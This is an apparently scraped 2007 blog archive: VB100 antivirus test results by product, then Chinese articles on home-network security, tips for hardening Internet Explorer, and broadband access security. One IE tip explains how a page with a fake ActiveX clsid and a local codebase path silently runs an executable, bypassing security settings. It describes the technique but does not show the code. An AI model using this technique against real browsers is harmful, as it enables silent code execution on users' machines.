Product name: Kaspersky Anti-Virus 7.0.0.123

Kingsoft

Status: PASS
Result history: Kingsoft
Product name: Kingsoft Internet Security 2007.6.21.206

McAfee

Status: PASS
Result history: McAfee
Product name: McAfee VirusScan Enterprise v.8.5I

Microsoft Forefront

Status: PASS
Result history: Microsoft Forefront
Product name: Microsoft Forefront Client Security 1.5.1937.0

MicroWorld

Status: PASS
Result history: MicroWorld
Product name: Microworld eScan Internet Security for Windows 9.0.722.1

Sophos

Status: PASS
Result history: Sophos
Product name: Sophos Anti-Virus 7.0.0

Symantec

Status: PASS
Result history: Symantec
Product name: Symantec AntiVirus 10.2.0.298

Trend Micro

Status: FAIL
Result history: Trend Micro
Product name: Trend Micro PC-cillin Internet Security 2007 15.30.1239

VirusBuster

Status: FAIL
Result history: VirusBuster
Product name: VirusBuster VirusBuster Professional 6.0

VB100 : Windows XP - June 2007

2007-08-22T03:19:00.000-07:00

AEC (Trustport)

Status: PASS
Result history: AEC (Trustport)
Product name: AEC Trustport Workstation Antivirus 2.5.0.970

Agnitum

Status: FAIL
Result history: Agnitum
Product name: Agnitum Outpost Security Suite Pro 2007 5.1214.616

AhnLab

Status: FAIL
Result history: AhnLab
Product name: Ahnlab V3 Internet Security 2007 7.40.1

Alwil

Status: PASS
Result history: Alwil
Product name: Alwil avast! v.4.7 Professional Edition

Authentium

Status: PASS
Result history: Authentium
Product name: Authentium Command AntiVirus for Windows 4.94.5

Avira

Status: PASS
Result history: Avira
Product name: Avira AntiVir

Bullguard

Status: PASS
Result history: Bullguard
Product name: Bullguard v.7.0

CA Home

Status: PASS
Result history: CA Home
Product name: CA AntiVirus 8.4.0.11

CA eTrust

Status: PASS
Result history: CA eTrust
Product name: CA eTrust r.8.1.634.0

CAT QuickHeal

Status: PASS
Result history: CAT QuickHeal
Product name: CAT Quick Heal 2007 v.9

Doctor Web

Status: FAIL
Result history: Doctor Web
Product name: Doctor Web Dr.Web 4.33.3.04230

eEye

Status: PASS
Result history: eEye
Product name: eEye Blink Personal Edition 3.0.9

Eset

Status: PASS
Result history: Eset
Product name: ESET Nod32 Antivirus System 2.70.32

Fortinet

Status: PASS
Result history: Fortinet
Product name: Fortinet Forticlient 3.0.412

FRISK

Status: PASS
Result history: FRISK
Product name: Frisk F-Prot Anti-Virus 6.0.70

F-Secure

Status: FAIL
Result history: F-Secure
Product name: F-Secure Protection Service for Consumers 7.00

GDATA

Status: PASS
Result history: GDATA
Product name: Gdata AntiVirusKit 17.0.7089

Grisoft

Status: FAIL
Result history: Grisoft
Product name: Grisoft AVG 7.5 Professional Edition

Ikarus

Status: FAIL
Result history: Ikarus
Product name: Ikarus Virus Utilities 1.0.52

iolo

Status: FAIL
Result history: iolo
Product name: iolo AntiVirus 1.1.9

K7 Computing

Status: PASS
Result history: K7 Computing
Product name: K7 Total Security 2006

Kaspersky

Status: FAIL
Result history: Kaspersky
Product name: Kaspersky Anti-Virus 6.0.2.621

McAfee

Status: PASS
Result history: McAfee
Product name: McAfee VirusScan Enterprise v.8.5i

Microsoft Forefront

Status: PASS
Result history: Microsoft Forefront
Product name: Microsoft Forefront Client Security 1.5.1937

Microsoft OneCare

Status: PASS
Result history: Microsoft OneCare
Product name: Microsoft Windows Live OneCare 1.5.1890.35

MicroWorld

Status: PASS
Result history: MicroWorld
Product name: Microworld eScan Internet Security for Windows 9.0.714.1

Norman

Status: PASS
Result history: Norman
Product name: Norman Virus Control 5.90

NWI

Status: FAIL
Result history: NWI
Product name: NWI VirusChaser 5.0a

PC Tools AntiVirus

Status: PASS
Result history: PC Tools AntiVirus
Product name: PC Tools Antivirus 3.1.1.6

PC Tools Spyware Doctor

Status: PASS
Result history: PC Tools Spyware Doctor
Product name: PC Tools Spyware Doctor v.5.0.0.182

Proland Software

Status: FAIL
Result history: Proland Software
Product name: Proland Protector Plus 2007

BitDefender (SOFTWIN)

Status: PASS
Result history: BitDefender (SOFTWIN)
Product name: Softwin Bitdefender Antivirus Plus v.10

Sophos

Status: PASS
Result history: Sophos
Product name: Sophos Anti-Virus 6.54 R2

Symantec

Status: PASS
Result history: Symantec
Product name: Symantec AntiVirus 1.0.0.359

Trend Micro

Status: PASS
Result history: Trend Micro
Product name: Trend Micro PC-cillin Internet Security 2007 15.30.1151

VirusBuster

Status: PASS
Result history: VirusBuster
Product name: VirusBuster VirusBuster Professional 2006 v.5.2

Webroot

Status: PASS
Result history: Webroot
Product name: Webroot Spy Sweeper with AntiVirus 5.5

VB100 - SUSE Linux - April 2007

2007-08-22T03:18:00.002-07:00

Alwil

Status: PASS
Result history: Alwil
Product name: Alwil avast! 4 v. 3.0.1

Avira

Status: PASS
Result history: Avira
Product name: Avira AntiVir 2.1.9-37

CA eTrust

Status: FAIL
Result history: CA eTrust
Product name: CA eTrust r.8.1.5310

CAT QuickHeal

Status: PASS
Result history: CAT QuickHeal
Product name: CAT Quick Heal 2007 v.9

Doctor Web

Status: FAIL
Result history: Doctor Web
Product name: Doctor Web Dr.Web 4.33

Eset

Status: PASS
Result history: Eset
Product name: ESET Nod32 for Linux Server 2.70.4

FRISK

Status: FAIL
Result history: FRISK
Product name: Frisk F-Prot Anti-Virus 6.2.0

F-Secure

Status: PASS
Result history: F-Secure
Product name: F-Secure Linux Server Security 5.50

Grisoft

Status: PASS
Result history: Grisoft
Product name: Grisoft AVG 7.5

Kaspersky

Status: PASS
Result history: Kaspersky
Product name: Kaspersky Anti-Virus for Linux 5.5.9

McAfee

Status: PASS
Result history: McAfee
Product name: McAfee LinuxShield 1.4.0

MicroWorld

Status: FAIL
Result history: MicroWorld
Product name: Microworld eScan AntiVirus for Linux File Servers 2.0.11

Norman

Status: PASS
Result history: Norman
Product name: Norman Virus Control 5.70.01

Sophos

Status: PASS
Result history: Sophos
Product name: Sophos Anti-Virus for Linux 5.70.1

Symantec

Status: PASS
Result history: Symantec
Product name: Symantec AntiVirus 1.0.1.66

VirusBuster

Status: PASS
Result history: VirusBuster
Product name: VirusBuster VirusBuster Scanner 1.3.4/SambaShield 1.1.3-2 for Linux

VB100 - Windows Vista - February 2007

2007-08-22T03:18:00.001-07:00

Alwil

Status: PASS
Result history: Alwil
Product name: Alwil avast! Professional Edition 4.7

CA Home

Status: PASS
Result history: CA Home
Product name: CA Anti-Virus 8.2.013

CA eTrust

Status: PASS
Result history: CA eTrust
Product name: CA eTrust Integrated Threat Management Suite r.8.1

CAT QuickHeal

Status: PASS
Result history: CAT QuickHeal
Product name: CAT Quick Heal AntiVirus Plus 2007 version 9.00

Eset

Status: PASS
Result history: Eset
Product name: ESET NOD32 antivirus system 2.7

Fortinet

Status: PASS
Result history: Fortinet
Product name: Fortinet FortiClient 3.0.379

F-Secure

Status: PASS
Result history: F-Secure
Product name: F-Secure Anti-Virus for Vista 2007

GDATA

Status: FAIL
Result history: GDATA
Product name: G DATA AntiVirusKit 2007 v. 17.0.6353

Grisoft

Status: PASS
Result history: Grisoft
Product name: Grisoft AVG 7.5.433

Kaspersky

Status: PASS
Result history: Kaspersky
Product name: Kaspersky Anti-Virus 6.0.2.546

McAfee

Status: FAIL
Result history: McAfee
Product name: McAfee VirusScan Enterprise version 8.1i

Microsoft OneCare

Status: FAIL
Result history: Microsoft OneCare
Product name: Microsoft Windows Live OneCare 1.5

Norman

Status: FAIL
Result history: Norman
Product name: Norman Virus Control v.5.90

Sophos

Status: PASS
Result history: Sophos
Product name: Sophos Anti-Virus 6.5.1

Symantec

Status: PASS
Result history: Symantec
Product name: Symantec AntiVirus 10.2.0.276

樂古電腦安全中心

2007-08-22T01:48:00.002-07:00

樂古電腦安全中心

==CHECK LINE==

家庭網絡安全框架

2007-08-22T01:48:00.001-07:00

摘要　家庭網絡安全框架是指保護家庭網絡的安全服務框架。這種框架在家庭網絡、因特網、以及防火牆之間使用安全信道來确保家庭網關免受拒絕服務（DoS）的攻擊。同時它還能夠對家庭内部無限局域網中的各種移動設備進行入侵檢測和訪問控制。本文提出了一種完整的安全管理框架來保護家庭網絡，使之免受内部或外部的攻擊。

1、簡介
　　現在的家庭中，不僅有計算機而且還有其它信息設備組成的網絡。當這些信息設備與因特網連接時，它們很容易暴露在多種攻擊之下。而用戶并不想因此洩漏他們的個人隐私。所以這些家庭網絡環境需要一個安全、可靠的解決方案。目前，雖然有很多家庭網絡安全産品，比如說防火牆、虛拟個人網絡（Virtual Private Network（VPN））、安全無線局域網（wireless LAN security）等[1]，但是還缺少一種綜合的安全解決方案來保護家庭網絡免受有線和無線攻擊。

　　對于家庭網絡安全需求，我們主要考慮以下因素：（1）傳輸數據的安全。很多情況下，用戶需要從家庭外部使用移動設備來控制家庭内部的設施；（2）對家庭網關的監測和控制；（3）對家庭内部無線局域網的訪問控制和入侵檢測；（4）用戶管理。基于以上因素，本文闡述一個管理家庭網絡安全的解決方案。

　　本文結構如下：第二節綜述安全管理框架；第三節闡述我們的家庭網關安全方案；第四節讨論本方案的實現方法；第五節總結本文并指出下一步研究工作。

2、綜述安全管理框架
　　爲滿足上述安全需求，我們設計并實現了一個家庭網絡安全框架。本框架是一個基于Open Service Gateway initiative（OSGi）[2]的家庭網絡中間件。OSGi爲家庭網絡定義了一個開放的共同體系結構，詳細定義了服務網關的标準。OSGi通過其基礎系統來聯結各種中間件并支持各種接口。OSGi定了自己的安全服務，但是這些方法還有不足之處。本文使用在OSGi服務結構體系之上增加了4種家庭網絡安全服務。

　　一是家庭網絡外的移動設備對家庭内的設施進行安全控制服務。二是通過對防火牆通的通信量的進行實時控制和監測來防止拒絕服務攻擊。三是無線局域網安全服務。通過使用家庭無線局域網來進行無線入侵檢測和移動設備的訪問控制。四是使用家庭設備進行用戶管理服務。

3、家庭網絡安全服務
　　3.1　家庭設備安全控制服務
　　從家庭外部網絡訪問和控制家庭設備時，控制請求必須通過因特網。但因特網并不是一個安全的區域。因此我們設計了一套針對家庭設施的安全控制服務。這個服務在移動設備和家庭網關之間建立了一個安全信道。

Type字段定義了信息包的類型。序列号（Sequence Number）和端口号（Port）用于防止MITM攻擊。Integrity用于檢查數據的完整性。操作程序如下：首先，客戶端向服務器端發送認證包。服務器收到後，認證用戶。如果該用戶是注冊的用戶，服務器返回信息接受；否則拒絕。客戶端隻有在收到接受信息後才能繼續與服務器通信。

　　經過以上程序，所有家庭網關和PDA之間傳輸的信息将通過SEED block cipher Algorithm加密。除加密外，所有加密數據附帶Integrity值以确保數據的完整性。我們使用MD5 hash算法計算Integrity值。

　　3.2　基于傳輸狀态的防火牆
　　基于傳輸狀态的防火牆能夠檢測并控制網絡傳輸。它可以保護家庭網絡免受拒絕服務（Denial of Service（DoS））的攻擊，同時還可以拒絕或接收來自特定IP地址和端口号的數據。

　　我們使用安全狀态圖表[4][5]檢測傳輸。基于這個原理，我們實現了一個傳輸檢測引擎。這個引擎由一個傳輸狀态信息收集器和安全策略管理器構成。

　　傳輸狀态信息收集器以狀态單元（State Unit）的形式收集通信信息并使用統計方法對其進行分析。狀态單元包括傳輸模式和相應的統計信息。安全策略管理器通過使用安全狀态圖表建立安全策略。它能反映所有出現在網絡上的通信狀态。安全狀态圖表根據傳輸的狀态轉移來相應地改變安全策略。過濾規則發生器将新的安全策略轉換成過濾規則。傳輸控制器使用該規則控制傳輸。當狀态轉移信号發生器發送狀态轉移信息給狀态表時，代表傳輸狀态的S1狀态将檢測自身狀況，看是否能接受狀态轉移信号。這個引擎能有效進行網絡安全管理以應對迅速變化的傳輸狀況。管理員可以保存并通過圖形界面分析傳輸信息和安全策略日志。基于傳輸狀态的防火牆根據家庭網關中的IP地址列表來控制數據傳輸并能拒絕或允許來自用戶指定的特定IP地址和端口的信息包。

　　3.3　無線局域網安全服務
　　無線局域網安全服務[6]具備入侵檢測[7]和訪問控制的能力。入侵檢測系統包括代理搜集和入侵檢測服務器。代理搜集監察和收集接入點信息以及通過無線網絡傳送數據的移動站點。收集到的數據傳送給檢測引擎并被轉換成審計數據的格式。

　　我們使用802.11管理數據幀來監控無線網絡[8]。MAC數據幀收集器負責收集管理幀，然後信息提取器負責提取狀态信息和統計信息。狀态信息用來表示站點和接入點的狀态。統計信息代表每一個信道的吞吐量和誤碼率，以及不同類型幀的數目和傳輸信息等。然後審計數據發生器使用審計數據格式重建這些數據。審計數據包括7個字段。它們是MAC地址、當前狀态、請求計數、分離計數、非鑒定計數、當前序列号、序列号門限等等。探測引擎通過唯一身份（Organizationally Unique Identifiers（OUI））列表匹配模塊和序列号分析模塊來檢測入侵。

在入侵者攻擊無線局域網之前，他們需要僞造MAC地址。IEEE已經分配6 278個前綴給硬件生産商用于指定網卡的MAC地址。通過比較OUIs和分配列表，我們能夠檢測到通過僞造随機的MAC地址前綴進行入侵的攻擊者。 IEEE推薦了一種通過使用數據幀排序來容納碎片地址的方法。序列控制字段中4 bits用于碎片地址，而12 bit用于序列号。序列号字段是一個序列計數器，每産生一個非碎片數據幀，序列計數器就會加一。它從0開始，按4 096取模。除非數據幀是一個大數據包的碎片，否則碎片計數總是0。黑客在破解802.11數據幀的時候并沒有辦法将這個參數設置成任意值。當模塊接收到第一個管理數據幀時，它提取序列号并作爲臨時變量保存。然後模塊接收第二幀時，會與第一幀的序列号做比較。如果第二幀的序列号不大于第一幀的序列号，它将認爲這是攻擊。管理員能監測每個站點和接入點的狀态。它能注冊信任的接入點并使用MAC地址過濾器來管理那些家庭使用無線局域網資源的站點。

　　3.4　用戶管理服務
　　用戶管理服務向用戶提供認證和授權。我們使用基于以角色爲訪問控制模型[9]（RBAC）來實現，RBAC 模型通過分配角色給訪問權限和用戶來簡化授權管理；不是根據用戶來确定訪問權限，用戶和許可都被賦予一個角色，用戶的許可權既是被賦予的角色的許可權。每個家庭網絡用戶都會分配一個角色，例如用父親來代表管理員，孩子以及訪客。管理員能夠向訪客或孩子分配控制家庭設施和網絡資源的權限。每個希望從外部訪問家庭網絡的用戶必須有ID和口令。管理員通過使用綜合管理界面來向每個用戶分配使用家庭設施的權限。

4、實驗
　我們在Redhad Linux 9.0上實現了家庭網絡安全管理構架。這個框架使用了Java Embedded Server（JES）[10]2.0，JES是基于OSGi的。我們使用Microsoft embedded Visual C++ 3.0實現PDA客戶機程序用于設置安全信道并控制家庭設備。基于傳輸的防火牆與IP列表相連來控制網絡通信。管理員能安裝并運行以上這些安全服務。

　　家庭網絡使用的整個狀态圖：管理和控制用戶和設備

5、結論
　　在本文中，我們設計和使用了家庭網絡安全管理框架。所使用的安全機制是、基于OSGi服務框架。這個框架的中心是綜合有線和無線安全機制來保護家庭網絡免受有線或無線的攻擊。爲達到這個目的，我們設計了一個新的服務協議來安全控制家庭設備、基于傳輸的防火牆、無線局域網安全、管理服務等等并使之綜合成一個解決方案。

十種反黑技巧

2007-08-22T01:47:00.004-07:00

針對IE的惡意修改、攻擊方法非常多，本文中介紹的十種反黑技巧，一定會對你有所幫助。
1.管理好Cookie
在IE6.0中，打開“工具”→“Internet選項”→“隐私”對話框，這裏設定了“阻止所有 Cookie”、“高”、“中高”、“中”、“低”、“接受所有Cookie”六個級别(默認爲“中”)，你隻要拖動滑塊就可以方便地進行設定，而點擊下方的“編輯”按鈕，在“網站地址”中輸入特定的網址，就可以将其設定爲允許或拒絕它們使用Cookie。

2.禁用或限制使用Java程序及ActiveX控件
在網頁中經常使用Java、Java Applet、ActiveX編寫的腳本，它們可能會獲取你的用戶标識、IP地址，乃至口令，甚至會在你的機器上安裝某些程序或進行其他操作，因此應對 Java、Java小程序腳本、ActiveX控件和插件的使用進行限制。打開“Internet選項”→“安全”→“自定義級别”，就可以設置 “ActiveX控件和插件”、“Java”、“腳本”、“下載”、“用戶驗證”以及其它安全選項。對于一些不太安全的控件或插件以及下載操作，應該予以禁止、限制，至少要進行提示。

3.防止洩露自己的信息
缺省條件下，用戶在第一次使用Web地址、表單、表單的用戶名和密碼後，同意保存密碼，在下一次再進入同樣的 Web頁及輸入密碼時，隻需輸入開頭部分，後面的就會自動完成，給用戶帶來了方便，但同時也留下了安全隐患，不過我們可以通過調整“自動完成”功能的設置來解決。設置方法如下：依次點擊“Internet選項”→“内容”→“自動完成”，打開“自動完成設置”對話框，選中要使用的“自動完成”複選項。

提醒：爲發安全起見，防止洩露自己的一些信息，應該定期清除曆史記錄，方法是在“自動完成設置”對話框中點擊“清除表單”和“清除密碼”按鈕。

4.清除已浏覽過的網址
在“Internet選項”對話框中的“常規”标簽下單擊曆史記錄區域的“清除曆史記錄”按鈕即可。若隻想清除部分記錄，單擊IE工具欄上的“曆史”按鈕，在左欄的地址曆史記錄中，找到希望清除的地址或其下網頁，單擊鼠标右鍵，從彈出的快捷菜單中選取“删除”。

5.清除已訪問過的網頁
爲了加快浏覽速度，IE會自動把你浏覽過的網頁保存在緩存文件夾“C:/Windows/Temporary Internet Files”下。當你确認不再需要浏覽過的網頁時，在此選中所有網頁，删除即可。或者在“Internet選項”的“常規”标簽下單擊“Internet 臨時文件”項目中的“删除文件”按鈕，在打開的“删除文件”對話框中選中“删除所有脫機内容”，單擊“确定”，這種方法會遺留少許Cookie在文件夾内，爲此IE6.0在“删除文件”按鈕旁邊增加了一個“删除Cookie”的按鈕，通過它可以很方便地删除遺留的。

6.永遠不怕IE主頁地址被修改
衆所周知，修改IE默認主頁地址是惡意網頁常用的一招。IE被修改後，會自動連接到惡意網頁的地址。大家常用的方法是修改注冊表，其實，隻要簡單給IE加個參數，就再也不害翴E主頁地址被修改了。下面是具體的方法和步驟。

首先，打開“我的電腦”，找到IE的安裝目錄，這裏假設你的IE安裝在C:/Program FilesInternet Explorer下。進入該文件夾，找到Iexplore.exe文件，對着它點擊鼠标右鍵，在彈出的快捷菜單中選擇“發送到→桌面快捷方式”，這樣就在桌面上建立了一個Iexplore.exe文件的快捷方式。如果你夠仔細的話，你會發現你建立的這個快捷方式名字爲“Iexplore.exe”，而桌面上原來的IE快捷方式名字爲“Internet Explorer”，兩者不僅名字不相同，而且“内涵”也不盡相同。

繼續我們的工作，用鼠标右鍵單擊該快捷方式，選擇“屬性”，會彈出“Iexplore.exe 屬性”對話框，選擇其中的“快捷方式”标簽，然後在“目标”框裏填入："C:/Program Files/Internet Explorer/IEXPLORE.EXE" -nohome，給Iexplore.exe加上參數“-nohome”，輸入時請大家注意在參數“-nohome”前面有一個空格，不要忘了，輸入完畢。點擊“确定”退出即可。

這樣即使主頁被修改也沒有關系，打開IE就是一片空白，就連about:blank也不顯示。而且這樣能夠加快啓動速度，一點IE窗口馬上就出蹦來了。

對于IE在安裝時自己建立的快捷方式，我們無法爲它加上上述參數。如果不信可以試試，用鼠标右鍵點擊桌面上原來 IE自建的快捷方式，選“屬性”，會發現“目标”欄、“起始位置”欄、“快捷鍵”欄和“運行方式”欄都是灰色不可選取狀态。這就是它們之間最大的不同!也是本文的關鍵所在。

7.挖出IE本地安全配置選項
在IE中可以通過點擊“工具→Internet選項→安全”來設定電腦安全等級，之後會出現。從圖中可以看出，在安全性設定中我們隻能設定Internet、本地Intranet、受信任的站點、受限制的站點。不過，慣于隐藏其部分功能的微軟(真不知微軟是怎麽想的，老和我們玩“捉迷藏”遊戲，在這裏又留了一手：其實這裏還有一個隐藏的選項——就是“我的電腦”的安全性設定，如果你想看到它，可以通過修改注冊表的方法來達到目的。

下面是具體的方法：
打開“開始”菜單中的“運行”，在彈出的“運行”對話框中輸入Regedit.exe，打開注冊表編輯器，點擊前面的“+”号順次展開到：HKEY_CURRENT_USER＼Software＼Microsoft＼Windows＼CurrentVersion ＼Internet SettingsZones，在右邊窗口中找到DWORD值“Flags”，默認鍵值爲十六進制的21(十進制33)，雙擊“Flags”，在彈出的對話框中将它的鍵值改爲“1”即可，關閉注冊表編輯器。無需重新啓動電腦，重新打開IE，再次點擊“工具→Internet選項→安全”标簽，你就會看到多了一個“我的電腦”，在這裏你可以對IE的本地安全進行配置。

這個小技巧有什麽用呢?把下面的代碼保存爲一個html文件，然後運行試試就知道了：

運行上面的html文件，會打開你的計算機中c:/winnt/system32文件夾下的calc.exe文件!而且IE沒有任何提示!即使在IE的安全設置中禁用ActiveX控件上述代碼也能工作!如果不是calc.exe文件而是其他惡意文件又會怎麽樣? 如果是在你浏覽的網頁中含有類似上面的代碼又會怎麽樣?真危險啊!

之所以會這樣是由于IE存在兩個可怕的漏洞：可本地執行任意命令，IE的ActiveX安全設置可被繞過。在上述代碼中我們給IE指定了一個系統中并不存在的控件号("clsid:88888888-8888-8888-8888-888888888888)， IE會試圖從codebase指定的地址去下載并安裝改控件。根據codebase于是IE找到了c: /winnt/system32/calc.exe，接着IE開始“下載”并安裝該程序。由于calc.exe是EXE文件，這樣就等于是在運行該文件，所以calc.exe就被運行了!

那麽爲什麽IE在“下載安裝控件”過程中不提示用戶，也不應用IE安全設置中的限定進行檢測呢?這就是IE的 ActiveX安全設置可被繞過漏洞造成的!其主要原因是IE安全設置都是針對非本地的頁面或交互的，對于本地的安全設置IE是最大信任的。如果你注意看 IE的安全設置，都是對Internet和Intranet上WEB服務器而言的，根本就沒有對本地文件的安全設置。概括說來就是IE對本地安全采用最大信任原則。

解決的辦法就是我們在開始說的那個技巧：挖出挖出IE本地安全配置選項，即修改IE安全設置中有關“我的電腦”的設置，選定後，禁用ActiveX下載就萬事大吉了。

8.在DOS下打開“Internet屬性”窗口
有時在浏覽了某些惡意網頁後，會導緻IE的“Internet屬性”對話框無法打開，這時我們可以在DOS窗口下輸入：RunDll32.exe shell32.dll,Control_RunDLL inetcpl.cpl命令，就可打開IE的“Internet屬性”對話框。要注意“Control_RunDLL”的大小寫以及它前面的逗号(,)不要忘記了。RunDll32.exe是Windows動态鏈接庫(DLL)管理工具，可以用來在命令行下執行動态鏈接庫中的某個函數(或者功能模塊。

RunDll32的使用方法如下：RunDll32.EXE ，要注意以下幾點：
（1）Dllname(就是制定DLL動态鏈接庫所在位置和文件名)直接不能有空格；
（2）Dllname和entrypoint兩者之間隻能以“,”(逗号分隔，逗号之後不能有空格，如果這裏出錯的話，你不會得到任何提示；
（3）optional arguments動态鏈接庫調用參數，這個參數對大小寫是很敏感的，注意不要寫錯。

9.解除IE的分級審查口令
有些時候，我們的IE會被人修改爲設有分級審查口令，一旦被設置了分級審查口令，即使重新安裝IE也是沒有用的。怎麽辦呢?難道要格式化硬盤?千萬不要!這裏我有一個好辦法，幫您解決這個問題。

進入注冊表，找到HKEY_LOCAL_MACHINE＼Software＼Microsoft＼ Windows＼CurrentVersionpolicies＼Ratings，這裏有一個名爲“key”的主鍵，這就是您設置的分級審查口令，直接将它删除即可。重新啓動之後，點擊“工具”→“Internet選項”→“内容”→“分級審查”，您會發現分級審查口令已經被複位了。現在您隻要輸入新的分級審查口令即可。

如果你用的是Windows 9x則更簡單了，到C：＼Windows＼system目錄裏找到rating.pol文件，要注意這是一個隐藏文件，直接将它删除就可以解決問題了。

10. 預防網頁惡意代碼
許多惡意網頁爲防止有人查看其代碼内容，采取了各種各樣的方法求防止我們查看其源代碼。然而，他們的一切努力也許都是白費心機。因爲用如下的方法可以輕易地查看其源代碼。隻要在IE地址欄中輸入View-Source：URL即可。舉個例子，你想查看搜狐網站 hxxp://www.juntuan.net的源代碼，隻要在IE地址欄中輸入：View-Source:hxxp： //www.juntuan.net，稍等一下就會彈出一個窗口，裏面就是你想看到的網頁源代碼。趕快仔細看看，裏面是否有更改注冊表或暗中下載文件的惡意代碼，如果有那就别進該網頁了，很簡單吧？這樣做不僅可以學到别人的網頁制作技術，更可以事先預防惡意代碼，一舉兩得！

寬帶接入安全性問題

2007-08-22T01:47:00.003-07:00

最近10年，寬帶接入網絡在全球蓬勃發展，越來越多的個人用戶和企業用戶通過寬帶接入到Internet。同時，用戶對網絡性能的要求也越來越高，他們不再滿足于暢通無阻的高帶寬接入能力，逐漸對服務的質量提出了更高的要求。在服務質量(QoS)中，一個重要的不能忽視的指标就是安全保證。

1.寬帶接入安全性問題
寬帶接入網絡的快速發展使得寬帶用戶數成倍增加，但是也使得網絡遭受安全攻擊的可能性大大增加。特别是引入以太網技術、IP技術後，接入網安全性問題日益凸現。因爲以太網絡是共享式的網絡，它的優點和缺點均很明顯。當前網絡上很多黑客工具可以用來在以太網上興風作浪：監聽他人信息、盜取業務、發起拒絕服務 (DOS)攻擊[1]，造成網絡設備癱瘓。IP網絡因爲曆史原因，最初在安全性方面的設計考慮不多。IP網絡上的業務大都通過智能終端來完成，處于運營商控制範圍内的中間設備主要的功能就是交換，運營商對業務很難控制，這就爲惡意用戶提供了開展破壞活動的空間。

爲提供“電信運營級”的接入網絡，爲用戶提供安全的接入服務，檢測非法業務，保證網絡設備正常運行，目前是設備提供商和電信運營商共同關注的問題[2-3]。

目前，寬帶接入技術呈現多樣化趨勢，包括數字用戶線(DSL)、混合光纖/同軸電纜(HFC)、無源光網絡(PON)和WiMax無線接入等，他們都具有如圖1所示的網絡架構：

寬帶接入網絡的架構包括以下幾個組成部分：

(1)用戶自組網絡
用戶自組網絡是以家庭網關爲核心組成的局部網絡，這個網絡物理上歸屬于用戶。DSL是當前最普遍的用戶接入方式。

(2)接入節點
接入節點完成用戶線纜的物理終結，或者無線信道的終結，實現用戶數據的彙聚，滿足高密度、多形式的接入。接入節點最靠近用戶，是運營商網絡的邊緣，是安全防護的第一道門檻。在接入網安全問題中，接入節點處于重要的地位。

(3)以太網彙聚網絡
因爲性價比突出，以太網受到運營商的青睐。進一步，以太網同時也肩負彙聚數據和網絡内部數據交換的任務。

(4)寬帶網絡網關
寬帶網絡網關包括很多功能：終結以太層及其對應的封裝、用戶認證(結合認證服務器)、用戶端自動配置、QoS業務保證等。物理上，寬帶網絡網關可以是一個設備，也可以是多個設備，執行寬帶接入遠程服務器、動态主機配置協議(DHCP)服務器(或DHCP中繼器)和路由器的功能。

接入節點、以太彙聚網絡和寬帶網絡網關屬于運營商所有，這些設備或者網絡對運營商而言都是可信的。用戶自組網絡歸用戶自己所有和使用。對運營商而言，用戶自組網絡是不可信的。安全威脅大都來自不可信網絡内惡意用戶或者程序的攻擊。當然，有時安全問題也産生于可信任域内，比如因爲設備不穩定等原因産生的安全問題。但安全問題主要還是來自不可信域對可信任域的安全威脅。

歸納起來，接入網絡中主要有下面的一些安全問題：
(1)非法用戶的接入。
(2)非法報文和惡意報文發送。
(3)通過媒體訪問控制(MAC)/IP地址欺騙，如冒用MAC地址或者IP地址，偷取他人的業務服務或者造成DOS攻擊。
(4)非法業務，如開展非法的IP語音(VoIP)業務、私拉亂接用戶等。
下面依次對上述問題以及與其相對應的解決方案展開論述。

2.非法用戶接入
非法用戶接入性質嚴重，直接影響運營商的運營收益。如果不對用戶進行識别和認證，那麽非法用戶接入就會大量存在。

用戶識别與認證技術已經非常的成熟，基于以太網的點到點協議(PPPoE)、DHCP+Web和802.1x協議等已經被普遍使用。當前，業界關注的問題是：對用戶端口(也稱爲用戶線路)的識别。在零售模式下，每個用戶在接入節點處都有一個邏輯端口，有線環境下是硬端口，無線環境下是一個軟端口。如果認證服務器隻是通過用戶名來識别用戶，那麽用戶可以把自己的用戶名和密碼共享給其他用戶，其他用戶也能通過這一邏輯端口上網，這是運營商不希望看到的，會造成運營商的運營收入的減少。

在基于ATM的點到點協議(PPPoA)爲主要接入方式時，用戶虛通道(VC)在寬帶接入遠程服務器(BRAS)上終結，因此，用戶的端口信息直接就可以在BRAS上獲取。現在，PPPoE和IPoA是主要的接入方式。在這兩種接入方式下，物理上，用戶線路在接入節點處就被終結；VC信息要麽在接入節點處終結，要麽根本沒有，因此BRAS沒有辦法直接獲取用戶的端口信息。所以，必須有一套有效的機制能夠将接入節點處的用戶端口信息傳遞給BRAS。當前，有多種用戶端口(或者用戶線路)識别方案被提出來：

(1)DHCP option82協議
DHCP Option82(RFC3046)協議在DHCP(RFC2131)的基礎上，對協議流程進行了擴充。接入節點需要截獲DHCP上下行協議報文，扮演二層DHCP中繼代理的角色。上行方向，将端口信息(也就是uPortID)插入到協議的Option82字段中；下行方向，剝離此字段信息(可選。圖2爲協議交互示意圖。

(2)PPPoE+協議
PPPoE+協議又稱爲PPoE中間代理。和DHCP Option82類似，它對PPPoE協議報文進行了擴充。接入節點截獲PPPoE搜索階段的協議報文，在上行方向插入端口信息。圖3爲PPoE+協議交互示意圖。

(3)VBAS協議
VBAS協議和PPPoE+略有不同，VBAS協議修改PPPoE的流程，在用戶與BRAS協議交互中，插入BRAS與接入節點的交互，獲取端口信息。圖4爲VBAS協議交互示意圖。

(4)虛拟局域網棧
虛拟局域網棧(VLAN Stacking)采用雙标簽(Tag)，使用内層VLAN來唯一标識用戶端口信息。

(5)虛拟MAC
虛拟媒體訪問控制(VMAC)對每個用戶數據報文的源MAC地址按照特定規則進行翻譯，翻譯後的MAC地址包含了用戶端口信息。這樣BRAS在PPPoE協議交互時，就可以直接從源MAC地址信息中獲取用戶端口信息。

各種用戶端口識别方案的優缺點如表1所示。

3.非法報文和過量報文
上行方向，因爲用戶自組網絡不受控，惡意用戶或者惡意程序就可構造非法協議報文，向上發送，這不僅會導緻網絡設備處理性能下降，有時還造成網絡設備系統紊亂甚至死機。另外，如果惡意用戶或者程序過量地上行發送協議、廣播報文，無論是合法還是非法，同樣會造成系統設備性能明顯下降，因爲協議、廣播等報文的處理非常消耗設備資源。

下行方向，盡管處于可控的網絡域内，但是因爲設備自身穩定性問題，以及網絡複雜性問題，也可能會出現非法或者過量報文發送，也需要進行防範。
非法報文包括：
(1)非法源MAC地址報文。源MAC地址不能是廣播或者組播地址，因爲有些MAC地址已經被标準組織所預留，不能被普通用戶使用。

